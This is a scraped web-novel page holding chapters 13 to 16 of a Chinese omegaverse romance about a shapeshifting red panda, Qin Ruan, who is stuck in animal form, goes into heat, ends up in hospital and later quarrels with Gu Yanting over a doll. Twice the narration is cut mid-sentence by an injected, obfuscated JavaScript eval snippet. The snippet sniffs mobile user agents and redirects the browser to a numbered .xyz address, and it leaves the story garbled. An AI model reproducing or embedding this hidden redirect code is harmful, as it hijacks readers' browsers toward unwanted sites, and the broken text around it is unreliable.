等待药膏成膜的间隙,覃阮往后倒在宽敞的床铺上,眨巴眨巴眼睛盯着天花板,又没有征兆的乐了起来。 他拿到玩偶了!功夫不顾有心人!任务完成可以回家了! 午后骑马的后怕与委屈已然消散无踪。覃阮侧身低头查看,腿上涂抹的乳白色药膏颜色渐浅,于是他又翻身趴卧,四肢舒展呈“大”字,惬意地舒展身体。 难得肆意,他大大方方地放出耳朵尾巴,手掌脚掌变回小熊猫爪垫,前爪在软绵绵的被褥上一刻不停地踩。 覃阮很开心。 014不在,他自个也能乐得自在。 覃阮喜欢打滚,但人形不太方便就一直收敛着,他上次打滚还是很久前小熊猫本体的时候。 此刻他敞开了情绪撒欢放肆,变回小熊猫,在白色的大床上滚来滚去,又腾一下站起来,后爪踩着被褥,前爪腾起,朝床头的小熊猫玩偶扑去,抱着玩偶用脸不停蹭。 此场面很是奇特,小熊猫抱着小熊猫,覃阮通过房间里的镜子看见自己嘴里叼着玩偶的模样,呆滞半晌,松嘴,趴下来,脑袋压着玩偶蹭痒痒。 就算是小熊猫形态,也还是呈个‘大’字趴在床中央,粗长毛绒的尾巴搭在身后,尾巴尖有一搭没一搭的拍动。他渐渐起了睡意,半睡半醒中猛蹬后腿,仿若从高处踩空,骤然惊醒。 小熊猫惊慌失措的坐起来,吓得在床中央追着尾巴转圈,爪子踩着个硬邦邦的东西。 覃阮一愣,低头看,是那枚灰色的颈环。 他凑近用鼻子嗅了嗅,爪子刨几下颈环,就这个时候,房间的门忽然被敲响,惊得覃阮直往被褥里面钻,反应过来那门是关上的,又胆战心惊从被褥里钻出来去叼散落在床榻上的衣裤。 敲门声仍在持续,覃阮得快点变回人类去开门,他咬着衣服,脑袋往里面拱,蛄蛹半天猛然静止。 一秒、两秒。 小熊猫头钻出来,睁大眼睛盯着衣裤。 怎么变不回去了?? 覃阮有点慌,他左顾右盼,看起来很忙但不知道在忙什么。 还是变不回去。 敲门声第三次响起,一道道动静像极了在催命。 怎么办怎么办,014怎么还不回来?? 敲门声骤然静止,覃阮差点松口气时,放在床头的手机又打来电话,他猛缩脖子,踩着爪子过去看看亮起来的手机屏幕。 来电显示顾霄。 爪垫悬在屏幕上方,又收了回去。 覃阮此时接不了电话,只能盯着电话响,直到对面主动挂断。但没几秒顾霄又打来了。 覃阮早些年刚能成为人类时维持人形很不稳定,经常变回小熊猫就变不成人,后来几年渐渐适应人类形态,就不会犯这种错。 他怎么也没料到,许久没变回原形,今天就短暂的用本体形态撒欢,竟然没办法成人了。 电话响铃再次结束,接下来便是长久的寂静,不像是躲过了危机,倒像是暴风雨前的宁静。 果然,下一刻房间的门传来“滴滴”的动静,随后“咔哒”一声,那是门开的声音。 覃阮脑袋空白几秒,猛窜出去往床底下拱,没料到这酒店的床下是实心的,“嘭”一声巨响,撞到脑袋的覃阮摇头晃脑的往后颠了几步。听见有人进来,他又赶紧朝房间角落里钻,躲在窗帘的后面,趴在墙上模仿壁虎,一动不敢动,大气不敢喘。 “覃阮?” 是顾霄的声音,覃阮紧张到全身都在使劲,尤其抓着墙壁的爪子,两只支撑全身的后爪更是颤巍巍,不堪重负。 然而覃阮忘了尾巴,那条他压根管不住的尾巴。 顾霄进来没看见人,只看见床头的手机和床上堆积的衣裳,还有颈环。 一瞬间他颅内上演了无数凶杀案,赶紧呼唤门外:“哥,覃阮不在,他衣服和手机都放房间里了!” 这声哥让覃阮心凉一大截。 紧接着又是脚步声,顾砚庭的声音传来:“他最后一次跟你联系是什么时候?” “晚上吃饭那会儿。”顾霄声音紧张,“怎么办?报警?” 顾砚庭的视线扫过房间,屋内没有凌乱的痕迹,只是床榻上堆积的覃阮白天穿的衣服,以及那枚颈环,电话在床头,还有…… 他看见被褥中央那只嬉皮笑脸的小熊猫玩偶。 顾砚庭眯起眼睛,伸手捏主玩偶的尾巴将其提起来,盯着观察,在上面发现了可疑的水渍。 “……”顾砚庭沉思一瞬,放下玩偶,“我找酒店调监控,你报警。” 他离开覃阮房间没多久就接到小爸的电话,对方让他好好道个歉,并提醒他,如果是在易感期,可能或多或少会影响那位Omega,得注意着点对方的情况。 顾砚庭才想起,刚才送东西时袋子里装着抑制剂,但没提醒覃阮要注意身体情况。于是他又折返回来,但敲门没人应,让顾霄打电话无人接听,预感不妙,现在找来酒店前台开门,却没见到覃阮人。 短短十分钟不到,人去哪里了? 顾砚庭给酒店经理打电话,挂断电话后,视线再次扫过屋内,悄然注意到角落窗帘那隆起一团。 他视线定格在那处,几秒后,有条可疑的东西一晃而过。 顾砚庭:“?” 他定了定睛,又是几秒,那可疑的东西再次贴地扫过去。 “……” 顾砚庭上前撩开窗帘,‘哗啦’声响后,窗帘下面的东西展露无遗。一团整体棕红褐色的生物静悄悄地贴在墙上,用以隐蔽的窗帘被揭开后,那条深褐色大尾巴倏然僵住不动了。 扒拉墙的四只爪和肚皮是毛茸茸的黑色,脸颊嘴巴还有那三角形耳朵边缘有白色的毛绒,被发现后,压着墙壁仰头的小家伙睁大圆溜溜的眼睛望着顾砚庭,尴尬地将尾巴缩回去盘在身边。 是一只小熊猫。 “怎么了?”顾霄的声音传来,他探过脑袋看向角落,看清是什么后猛惊,“这里怎么会有小熊猫??” 然后又立即释然,“对了,这附近有个小熊猫基地,好像也不是第一次有小熊猫钻酒店房间的案例了。” 他蹲下来,抱膝看着小熊猫:“嗨,你有看见我的好朋友覃阮吗?” 覃阮:“……” 有的哦…… 但他不能说。 顾霄担心得很,对可爱的小熊猫都提不起兴趣,他站起身看看手机:“马上快十点了,怎么办啊,覃阮不会有事吧?” 顾砚庭看着小熊猫明亮清澈的眼睛,眯眼,总觉得哪里不对劲。 他将窗帘搭在旁边沙发上,蹲下,很顺手就将那只小熊猫逮住提起来,准备给基地负责人发消息时,酒店经理赶来了。 被捏住命运后脖子的覃阮发怔几秒,低头看看悬空的爪,这才想起来挣扎 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顾砚庭没用什么力气,也没松开手,小熊猫的挣扎对他来说不造成半点伤害,只是在这小家伙第三次爪子按住他下巴推推后,他也知道可能不太招这玩意喜欢,于是去把窗户关上,这才把它放下。 覃阮成功落地,又往角落里面钻,脑袋朝缝隙里拱,再次静止不动。 怎么办怎么办?? 此时房间里几声动静,很快门“咔哒”一声,覃阮愣住,从缝隙里退出来张望,没看见那三个人。 房间的门已经关上,覃阮听见门外有交谈声,那三个人去了外面。 事不宜迟!他飞速朝浴室里面钻。覃阮火急火燎,使出浑身的劲终于变回人类,脚下趔趄差点跌倒,得亏手扶着墙站稳了。他扯了浴室的浴巾系上出去,伸手去捞床上的衣服,又猛地停下。 不行,他得制造不在房间的假象,那三人已经知道他不在房间,还见过他房间的样子,床上的衣服和其他东西不能乱动。 他得佯装去了外面。但顾霄他们就在门外,怎么出去? 覃阮扭头看向窗台,他去行李箱里捞了衣裤匆匆套上,来不及整理妥当,拉开窗台的门,看了眼二层的高度又退回来。 虽然是民宿酒店,但二楼还是太高了。 正此时,房间外的声音又渐渐接近,覃阮病急乱投医,拉开卧室内衣橱的门就往里钻。 他隐蔽在黑暗中,听见衣橱外顾霄和顾砚庭的交谈。 “窗户怎么开了?那小玩意还会开窗户??” “哎呀,果然溜走了,你问问基地那边小熊猫数量够了吗?” “嗯。” 覃阮捂着口鼻,呼吸绷紧,僵着一动不动。衣橱内挂着酒店配套的浴巾和浴衣,他挤在这些布料中,在封闭的空间内,很快闷出了汗水。 太热了,热得覃阮脑袋渐沉。 房间里的人一直没走,不多时,酒店经理又回来,并表示监控已经调出,结果是没看见覃阮离开房间。也就是此时,警察赶到,屋子里人声更多。 覃阮热得有点不太好,他发现自己状态不对劲,因为后颈,也就是刚才本体被顾砚庭捏过的地方,此时人形的腺体位置,正一阵阵发烫。 满屋子的人在说话,气氛紧张,顾砚庭敏锐的感受到一瞬淡淡的气息,紧接着闷厚的声响从角落传来,他扭头看向衣橱,心里一沉。 顾砚庭朝衣橱走去,拉开橱门,浓郁的信息素涌出,半昏迷撞在衣柜门上的覃阮随着门开,直直的倒出来,脑袋压在了他的身上。 14. 信息素吸引 覃阮很热,全身都烫,脑袋像灌了铅般沉重。 他讨厌这种感觉,比刚化成人形那期间发高烧时还要难受。 他变得好奇怪。 意识朦胧间,他的脑袋触到硬邦邦的东西,闷热悄然褪去,他不再被黑暗裹挟,一股比苹果香更沁人的气息萦绕上来。 覃阮脸上汗津一片,他翕动鼻尖凑近那缕若有若无的淡香,可气息缥缈无形,摸不到抓不住。当浑身难受、后颈发烫时,这唯一能让他好受一点的气息却无法捕捉,覃阮愈发焦躁不安。 他找到那气息最为浓郁的地方,却依旧只有仅少一点。覃阮不开心了,焦灼地用鼻子蹭那里,想要以此换取更多气息。 满屋寂静,Omega的信息素溢出填满房间,几位警官和酒店经理怔忪地看着从衣橱里滑出来就往顾砚庭身上贴蹭的男生,一时间大家都有点尴尬,全部心照不宣往外走。 带队的警官通过对讲机向公安部报备,告知人已经找到,走之前还不忘提醒顾砚庭,“哥们儿,这孩子看着不大,你最好送他去医院,记得向公安部报备,我们会持续关注你们。” 这是警告顾砚庭不要做强迫Omega的事。 顾砚庭并没有因为警察的警告生气,他目送人群离开,双手托稳覃阮的身体,很顺手地捞住对方的大腿,避开磨蹭破皮的腿内侧伤口,将人从衣橱里抱出来。 旁边的顾霄瞳孔地震,他看着正在啃他哥腺体的覃阮,欲言又止,微微举手:“他,这,你……” 顾砚庭确定顾霄脖子上带着阻隔颈环,这才对他说:“床上的颈环先拿来。” “哦!”顾霄立即去拿床上那枚颈环,将其打开,过去:“你抱低点,我给他戴。” 顾砚庭稍微矮身,搂着覃阮的身体往顾霄这边倾斜。 颈环戴上后,顾霄看看锲而不舍啃顾砚庭脖子的覃阮,担忧地说:“我们得送他去医院,好像进入发情热了。” 说着一顿,回忆,“我问过,覃阮半月前那次是假性发情,说明没到时期。这次就可能是真的,但也可能是因为你。” 顾砚庭倒也自觉:“嗯,大概是因为我。” 顾砚庭是能及时收敛信息素,但意外仍有可能发生,这正是顾砚庭今晚折返的原因。覃阮极有可能因他的信息素刺激而诱发发情热。 而现实,似乎真成这样了。 “要不要先给他注射抑制剂?”顾霄担忧地看着趴在顾砚庭肩膀上直喘气的覃阮,“……等等。” 覃阮的症状很奇怪,看起来比平常Omega发情热更严重,顾霄可没见过哪位Omega发情热难受到呼吸困难。 “不行,”顾霄立即改变刚才的提议,“覃阮状态不太对,还是先别注射,我们直接去医院。” 顾砚庭闻言蹙眉:“状态不对?” “Omega发情热不会出现呼吸困难。”顾霄给秦一祝打电话,通之前又说,“保险起见,去医院。” 两兄弟做事利索,一个给医生打电话,一个抱着人往外走。顾宴庭走去房间外,低头看一眼衣衫不太整的覃阮,目光在对方那白晃晃的脖子上停了两秒,又折返回去,从行李箱里捞出件外套给怀里的人裹上,这才又快速出门。 两人紧急赶到车库,顾砚庭要开车,却没法将身上的人放下去,他只要一松手,扒拉在他身上的覃阮就难过得直嚷嚷,凶狠地咬他的脖子。 刚才虽然也啃,但还只是用牙磨蹭,现在一撒手就真咬起来了。 “……”顾砚庭把挂在身上放不下去的人捞回来抱稳,看向对面准备上车的顾霄:“你开车。” 顾霄一条退都上后座了,闻言探出脑袋:“什么?我敢开,你敢坐吗?” “怎么不敢?” “……” 才拿到驾照不到两月的顾霄和顾砚庭对视几秒,啧声,骂骂咧咧绕上前,接住车钥匙上驾驶位。 顾砚庭抱着覃宝坐后座,右手护住覃宝的后脑勺,同时提醒顾霄夜间照明如何规范使用。 不出意外,车子弹射起步,所幸开的很稳。 路程得有十来分钟,顾霄开车不说话,精神高度专注,手法十分官方。 顾砚庭不出声打断对方的思路,他低头看看压在身上,因为呼吸不畅身体大起伏覃阮。 深夜,车内不开灯,只能借窗外路灯的微光隐约看清覃阮的脸。他枕在顾砚庭肩上,唇微微张着,喘息声时断时续。 阻隔颈环将信息素全部压住,兴许正是因为这样得不到释放,覃阮看起来越来越难受。 颈环效果很好,顾砚庭已经感受不到覃阮的信息素,他回忆刚才打开衣橱的瞬间,是扑面而来浓郁信息素。 前调很像蜂蜜,但渐渐地却像是某种花香了。 现在闻不到,一丝一毫都没有。 顾砚庭的脖子被汗津津的鼻尖蹭住,湿软滚烫的触感又贴上来,紧随便是牙齿在他后颈上磨蹭的感触。 他无声地呼出一口气,将完全失去自主意识的家伙推开点,然后就听见被推开的覃阮委屈地呜咽一声。 “……” “……” 车内一阵寂静,前面开车的顾霄不敢挪开专注前方道路的眼睛,只能不屑地嘁了声:“你要是欺负他,我第一个瞧不起你!并绝对告你的状!” 顾砚庭注视覃阮那双盈满眼泪的眼睛,无奈,松开手让他趴回来:“认真开车。” 顾霄:“啧。” 覃阮热得要死,上次这样还是很久前彻夜发烧,那次他爸妈在病床边守了他整晚,挂水挂得他手背乌青,到凌晨才好转。 覃阮讨厌这种感觉。 他很不舒服,呼吸跟不上,胸膛里像堵了团火,烧着点燃全身,首先烧坏的就是喉咙。 那缕微弱到近乎无的气息越来越淡,覃阮如何探寻都难以捕捉。这是唯一能缓解他痛苦的救命稻草,可他却无论如何都握不住。 覃阮觉得自己要死了。 在小熊猫的认知里,死亡是模糊而遥远是。可当他第一次意识到,死亡的阴影似乎正逐步笼罩他,恐惧即刻吞噬他的意识,残存的理智被一并裹挟。 覃阮的意志力轰然塌陷。 他明明已经快结束任务了。 明明就快回家了。 但他现在要永远留在这个世界。 覃阮很难过,他想回家。 抓着肩膀的两只手骤然收紧,埋在颈窝里的人蜷缩了起来,顾宴庭觉察出覃阮比刚才冷静了些,以为是状态好转,却在肩上传来一阵湿润感后立即怔住。 覃阮哭了。 比起刚才的浮躁不安,此时却是静悄悄的哭,尽管呼吸仍很不稳定,但却似乎在极力忍耐。 覃阮清醒了吗?并没有。 顾砚庭感受到的是怀里的人温度仍然很烫,以及抓紧他肩膀的那双手,紧得似乎要把衣服给抠破。 车内寂静,顾砚庭看着窗外,默默感受着肩头传来的压抑啜泣。 顾霄的话或许没错,覃阮状态很不对,大概是发情热带来的难受,受不了了才流泪。 奇怪的是,顾砚庭觉得不仅仅是发情热,或许还有别的原因。 十几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702546|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟的车程开出二十多分钟,顾霄已经尽力了。他们抵达医院后带着覃阮直奔实验室,Omega科室的值班医生早已经接到电话等在这里,顾砚庭把人交出去后,站在原地,等待怀里空荡后莫名的失衡感退去。 科室的祈医生蹙眉看着他:“顾先生,我记得你,你是秦一祝的病人。” 顾砚庭抬眼。 祈医生履行医职人员的责任,问他的情况:“覃阮的发情热没影响到你?” 此时实验室长廊寂静,覃阮已经被其他医生带走,顾霄去了休息室。顾砚庭捻了捻方才抱着覃阮的手,反应平静:“没有。” 祈医生审视他,问得很直白:“没有性冲动?” 沉默。 顾砚庭眼底情绪不明,淡然承认:“有。” 祈宁也没觉得有多奇怪,他对顾砚庭的病了解不多,毕竟主治医师不是他而是秦一祝。但他和秦一祝是同事,而刚才送来那位Omega,又正好是他手里最近关注的病人,所以就有必要提醒:“是正常Alpha该有的反应,不过,你最好还是和秦一祝聊聊,说不定对你的治疗有进一步发展。” 顾砚庭“嗯”了声:“先去看他。” “这你放心。”祈宁转身,挥挥手进去了。 科室的门关上,顾砚庭看着那扇紧闭的门,转身前往Alpha科室休息室。 他面色平静,精神却稍有些亢奋,罕见地起了很燥但并不属于易感期的情绪。 夜深却毫无睡意,于是身处休息室的顾砚庭打开电脑处理起工作。 心急火燎赶来的秦一祝猛推开门,发现这家伙竟然在工作,震撼之余拉下口罩问:“覃阮怎么样?” 顾砚庭没抬头:“祈医生看着。” “那应该没事了。”秦一祝看着脸上映照平板白光的顾砚庭,又问:“我听说你对覃阮有性冲动?” 顾砚庭仍然平静:“嗯。” “操!你为什么能这么冷静?”秦医生眼里有震惊,更多的是不可思议,“我们给你试了十几种经研发的Omega信息素你都硬不起来,我都以为你丫的阳.痿!原来你能产生正常生理反应啊?!” “……”顾砚庭终于抬起视线,颇为嫌弃的看着张牙舞爪的秦一祝,“之前的实验,你们想要的结果是我硬起来?” 说漏嘴的秦一祝尴尬轻咳,迂回了下,“哥们儿,找位与你匹配度高的Omega实在不容易,我们不得不出此下策。实验改良药剂所使用的信息素虽然与你匹配度不达40%,但我们是怀揣着希望的。” “你这病最根本的治疗办法,就是找到位合适的Omega志愿者为你提供能治病的信息素,高匹配度成功率肯定更高,没有高匹配度,就只能挨个试试,谁知道对你任何作用都不起。”秦一祝耸肩,“话糙理不糙,Alpha天性会为高匹配度的Omega倾倒,我相信你也不会例外,你的生理反应就是最直白的证明。” 顾砚庭沉默,收回目光,视线放在平板上:“颈环把他的信息素收得很干净。” “那当然,我买的最贵。”秦一祝骄傲昂头。 又是一阵死寂,顾砚庭将平板扔去旁边,阖上双眼看似闭目养神,不久后却出声:“所以后来我没闻到他的信息素。” “那肯定,颈环阻隔效果很顶……”秦一祝猛顿住,看向沙发上的Alpha,张嘴,闭上,又张嘴:“那你为什么会有性冲动?” 顾砚庭睁开眼睛,散漫道:“嗯,为什么?” 他自己也想问。 秦一祝怔忪,秦一祝震撼:“卧槽……” 15. 拿到的无效玩偶?! 覃阮醒来时发现身处陌生环境,四周通体雪白,空气里有淡淡的消毒水气味。 发散混沌的思维渐渐清明,他缓慢地眨了下眼,旋即便听见014的声音。 【宿主你终于醒了!!014就离开一天,你怎么就躺病床上了啊?】 014的声音在覃阮脑袋里绕来绕去,嗓门还特大,覃阮听得头疼,赶紧止住对方:【你声音太大了。】 嚷嚷直叫的014立即静音,覃阮偏头看向窗外,蓝天白云,光看无法辨别什么时候,于是又问:【你什么时候回来的?现在是什么时间?】 014这才再次开口:【我回来一天了哦,今天是宿主昏迷的第二天。】 怪不得,肚子好饿。 覃阮动了动右手,摸摸平坦的小腹,腹中随即传来一阵响亮的咕噜声。他咂下嘴,撑起上半身环顾四周。 是病床,有消毒水气息,这里是医院无疑。 他短暂地懵了会儿,开始回忆,记忆停留在他藏在衣橱里,再之后发生什么他没印象。 【014能查到我发生过什么吗?】覃阮问。 【不能哦,这个月还没结束,权限只一次,得留着下个月陪你去医院。】 覃阮“唔”了声,低头看着被褥,掌心轻轻揉空空如也的肚子。他沉默良久,倏然睁大双眼,琥珀色的眼睛里有光:【对了!我拿到玩偶了!】 【真的吗?!】014惊喜,【在哪呢?】 高兴不过几秒的覃阮顿时僵住,低头看着摊开的双手,空荡荡的两只手尴尬地捏合:“对哦,在哪呢?” 在酒店。 覃阮想起来了,立即支楞起身体左顾右盼,发现放在旁边柜台上的手机,趴过去够过来,打开手机找到在这里唯一的朋友顾霄。 覃阮:【顾霄,你在吗?】 对面立即回复:【在!!你终于醒了我的阮,等我马上过去!】 覃阮捧着手机反复看顾霄这段充满活力的文字,心里轻飘飘的。 他很喜欢他的好朋友顾霄。 想到这,不知道为何脑袋里忽然浮现出顾砚庭那家伙又冰又凉的冷冻脸,快乐的小表情顿时垮下来。 覃阮讨厌顾砚庭。 但顾砚庭说到做到,把玩偶给他了。 “……” 算了,看在玩偶的份上,不和那家伙计较。 正此时,病房的门打开,覃阮以为是顾霄,抬头却与一位陌生的,眉眼间尽显威严的男人对上视线。 男人身着笔挺西装,头发经发油打理得一丝不苟,唯有额前垂落两缕发丝,非但不显凌乱,反倒是为这身庄重的装扮添了几分雅致,连眉眼间一些岁月留下的痕迹都十分恰到好处地彰显着他的气质。 人类词汇量积累稀薄的覃阮第一时间想到‘成功人士’这个形容。 他好心提醒:“您好,您可能走错病房了。” 男人没立即开口,他用并不冒犯的目光看了看覃阮,旋即眉眼间露出些若有似无的笑意:“我想我应该没走错。你是覃阮?” 覃阮一愣,点头:“是我。” 男人又说:“我是来找你的。” “找我?”覃阮茫然之际,门外传来熟悉的声音,是姗姗来迟的顾霄。 “我的阮!!”抱着水果篮蹦跶进来的顾霄盘住覃阮的肩膀仔细看,“有没有哪里不舒服?” 覃阮摇头,目光被篮子里的苹果吸引,他保持矜持,其实眼睛已经直了:“我没事。” 顿了顿又茫然:“我怎么了?” “……不记得了?”顾霄微微惊讶,而后立即大方微笑,“没事,没怎么,不记得更好。” 说着把将水果篮放下,这才叉腰转身看向室内另一个人:“你说呢燕叔叔?” 时燕轻轻地笑,上前来:“说得对,烦心事没必要记住。” “你好覃阮,我是时燕,是顾砚庭的父亲。”时燕将一直提手里的蛋糕放在旁边椅子上,“正巧来医院办事,过来替顾砚庭给你赔个礼,他带你骑马吓到你的事,我会让他再给你道歉。” 覃阮顿时局促起来,小熊猫可没学过如何应对人类长辈的礼仪,只好遵循礼貌之道:“叔叔好,我已经没事……” 说着猛一顿,眉毛缓慢蹙起。 覃阮憋闷半晌,在斟酌言辞和保持本心中选择了后者,于是木着脸说:“不好意思,我是觉得他有点过分。” 时燕被这小孩逗笑:“你不用道歉,你没错。” “但在此之前我和他有过交易,所以其实他也没错。”覃阮仔细想过,这事的确是这么个理。顾砚庭说到做到了,他生气归生气讨厌归讨厌,但并不想让顾砚庭太冤。 “是这样么?”时燕稍微惊讶了下,他注意到门外来人,唇角一扬,收回目光又对覃阮说,“你是好孩子,顾砚庭要是能有你一半善解人意,我也不用为他的事操心了。” 覃阮张嘴,想着在人类社交,这种语言环境中,应该是要客气两句回去的,于是他张张嘴,话到嘴边又顿住。 可是这个叔叔说的有道理啊。 覃阮阖上嘴,蹙眉沉思,再次遵从本心,很严肃地点头:“是的,您说得太对了。” 此时刚进房间的顾砚庭闻言脚步顿住,停在病床尾,和覃阮对上视线。 眼见覃阮心虚地扑闪眼睫,他心里像是被羽毛挠了下,心情莫名好了很多。 “我听见了,眨眼睛没用。”顾砚庭将手里的东西提起来,扬眉注视覃阮:“既然我不善解人意,那我收回玩偶也情有可原。” “不行!”覃阮慌张失措,“你已经给我了!” 意识到事情严重性的014立即在脑袋里煽风点火:【哇呀呀这人怎么这样?!太可恶太没道德太不守信用!!!】 说着又猛一顿,巧妙发现玄机:【宿主你是拿什么和他换了吗?】 拿什么?拿他差点被吓破的胆子! 覃阮咬牙切齿狠瞪顾砚庭,因为有个长辈在旁边,他始终放不开,施展受到限阻,实在影响发挥,覃阮深感憋屈。 这时在旁边观望的顾霄捂住嘴巴惊乍道:“天呢!燕叔叔你看他!” 覃阮闻声望向顾霄,发现对方冲他wink了下,他瞬间寻到了依靠。 顾霄这是在给他打样。 覃阮有点不好意思,还是望向了时燕,指着顾砚庭那家伙小声控诉:“叔叔你看他。” 时燕双手环抱面对顾砚庭:“说话别这么刻薄,给人家道歉。” 说完顺手将顾砚庭手里的袋子拿过来,放在覃阮的手里。 顾砚庭:“……” 覃阮欣喜地捧着袋子,感激地对时燕说:“谢谢叔叔。” 顾砚庭和时燕以及顾霄就此前骑马那件事展开一场口头对峙,坐在床上的覃阮两耳不闻三人话,拿出玩偶捧宝贝似得托举着:【014你看!】 014在认真看,好半晌后‘嘶’了声:【不对,014的感应雷达没有对这个玩偶起反.应,是不是搞错了?】 覃阮怔住,仔细端详手里的玩偶:【不可能,我认得顾砚庭的玩偶,就是这个没错。】 【你捏一下它的爪?】014又开始出馊主意。 覃阮还真捏,然而手上没传来任何触感。 他茫然无措:【是不是换了个人捏就不行?】 014也不自信了:【不能吧……】 这时那边结束对话的三人终于又看向床上的Omega。顾砚庭望着覃阮木讷的双眼,隐约察觉其中似在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702547|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻涌什么。他注视那双漂亮的眼眸,试图探寻内里情绪,思绪不由自主飘回到骑射场上的种种经过。 顾砚庭移开视线不去看,扫走所有冒头的不该出现的想法,又拿出个玩偶,将从上一个玩偶中取出来的平安福塞进去。 覃阮呆滞,又疑惑,目光紧巴巴地盯着顾砚庭手里的玩偶:“你为什么还有一个?” 顾砚庭塞平安福的动作停了停,轻晃手里的小熊猫玩偶:“你说这个?” 覃阮点头。 “这是旧的。”顾砚庭垂下视线,“你要的那枚就是你手里那只。” 覃阮认得出来,他手里的就是前几天顾砚庭没事就盘的那只,但此时此刻,这只却不管用了。 “他祖母做了很多这样的玩偶。”时燕这时候开口,“你喜欢的话,我让他多送你几个。” 覃阮吸吸鼻子:“谢谢叔叔,不用了。” 他看着手里得来的玩偶,床尾的顾砚庭将平安福放好后,手指磨蹭过那只玩偶,覃阮的手背瞬间扫来热意,很柔软一下。 他感受到了。 这算什么啊…… 为什么拿到手的这个不管用,为什么一定要在顾砚庭手里才行? 覃阮埋着脑袋,他虚握着玩偶,另只手背抬起来揉一下眼睛。 【宿主……】014很想安慰他。 这时覃阮又倏地抬头,紧紧盯着床尾的顾砚庭。他根本不会藏情绪,憋屈全部都写在了脸上。 顾砚庭一抬视线就注意到覃阮通红的眼睛,他蹙了下眉,往床尾走近:“怎么了?” 另外两人闻言都看向覃阮。被三道视线注视,覃阮的委屈劲更盛,但硬生生自己压下去了,他抓紧被褥,摇头:“没事。” 声音沙沙的,不像没事。 顾砚庭沉默,拿出手机找医生,不出片刻,穿白大褂的祈医生出现,他过来看看覃阮:“没什么,这个阶段情绪不稳定很正常。” 他面无表情的看向顾砚庭:“因为诱导他发情的人在这里,要么是你信息素没收好又影响到了他,要么就是覃阮单纯看你这人不顺眼。” 顾砚庭信息素收拾得很好,所以…… “……” “……” “……” 现场寂静,都看向覃阮,本人手背再次揉揉眼睛,表情已经从刚才的难过变成愠怒:“对,我就是看你不顺眼!” 他抬起头,憋屈在心里的郁闷得不到抒发,急需找个释放口,最后变成咬牙切齿一句狠话:“顾砚庭,你等着!” 然而这声调在其他人耳里却一点不算狠,只算小发雷霆,挠痒痒似的。 会错意以为对方是因为被诱导发情生气,顾砚庭自知理亏,还是应了:“嗯,我等着。” 覃阮有种一拳头打在棉花上的感觉,后槽牙磨得咯咯响,就此时,他那饿得不争气的肚子咕噜一声响,全场寂静。 覃阮低头,耳根子发热。 顾砚庭低低笑了声:“讨伐暂停?先吃个饭?” “……”覃阮捂着肚子,愤愤地“哦”了声,提出要求:“我想吃苹果派。” 旁边祈医生听了连连摇头:“这两天别吃太油腻的食物。” 在点餐的顾砚庭:“那很可惜了。” 覃阮耷拉着眼皮,不开心直接写脸上。 顾砚庭看他一眼,落下视线在手机屏幕上:“给你多点一份水果餐,苹果要多加么?” “……”覃阮扣扣手指,“要加。” 【我好像有点不争气。】他向014嘀咕,【是不是该坚定一点?】 014安慰他:【肚子不争气又不关你的事,天大地大吃饭最大。】 覃阮只花一秒就说服自己:【嗯,你说的没错。】 16. 讨厌的家伙! 话是放出去了,覃阮也干劲满满,他势必将核心拿到手,可计划总赶不上变化,意外更是不期而至。 住院第二天,覃阮又不见顾砚庭人了。祈医生查房时告诉他,顾砚庭已经结清住院费用及其他杂费,又因为覃阮是实验室志愿者,本身部分费用就无需缴纳,所以他一分钱没花。 此次发情热来得急去得快,根源在于覃阮的病,加之受顾砚庭信息素影响,属于不稳定的突发情况,并非正常的发情热。 顾砚庭走得倒是干脆,一句真心的道歉也没留下。但是住院这两天,覃阮悄无声息升了VIP病房,每餐都有私厨送来调理餐,慰问品补品更是源源不断。他追问送东西来的人,大家都只笑不语,后来还是顾霄说漏嘴,覃阮这才知道是顾砚庭安排的。 他咬一口那家伙托人送来的苹果,心头的气又消了点,一天一点点,就快消没了。 长假期第三天,覃阮出院,返回西城骑射场的民宿酒店,依旧不见顾砚庭人,并还得知一个噩耗,计划之外的意外出现了。 班级群通知,小长假结束后返校那周将提前结束本堂专业课,导师会在结课下周对学生作品进行评估打分并计入教学系统。 学委在群里催促大家加快进度,下面一串回复收到。 覃阮做不到,他是全班进度最慢的学生,本就零基础,还全靠观察他人手法艰难摸索。现在结课时间突然提前,这对他就是晴天霹雳。 如果不能按时完成课业,就拿不到学分,还将面临更棘手的后果。 他非常不开心地在群里回复收到,放下手机卸掉力气倒回床上,闭眼一动不动。 【宿主你还好吗?】014弱弱地问。 冥思苦想的覃阮张了张嘴:“不太好。” 014叹息,而后转念一想:【你可以请顾霄帮忙呀,他很厉害。】 覃阮睁开双眼,眼里有了希望:“对哦。” 不出几秒又黯然失色:“但是他自己的作业也没完成,我差这么多,会耽误他时间。” 【那……】014提议,【试试去问顾砚庭?】 覃阮闻言顿时横眉冷对:“不要!” 014:【……】 看得出来,孩子是真狠狠讨厌那家伙,这样可不行啊。 014脑筋急转,与覃阮开启一对一问答模式。 014:【那你还要不要执行任务?要不要回家啦?】 覃阮:“要的。” 014:【现在任务卡住没法离开,作业是不是要做?】 覃阮:“……做。” 014巧妙地绕了个圈,把覃阮套进来:【顾砚庭懂你的专业,你这不就又有理由接近对方?这样作业任务两不误,一举两得呀!】 “……” 【014知道你不开心。这样,你把那家伙当成苹果,生气了就想象啃他解气。】 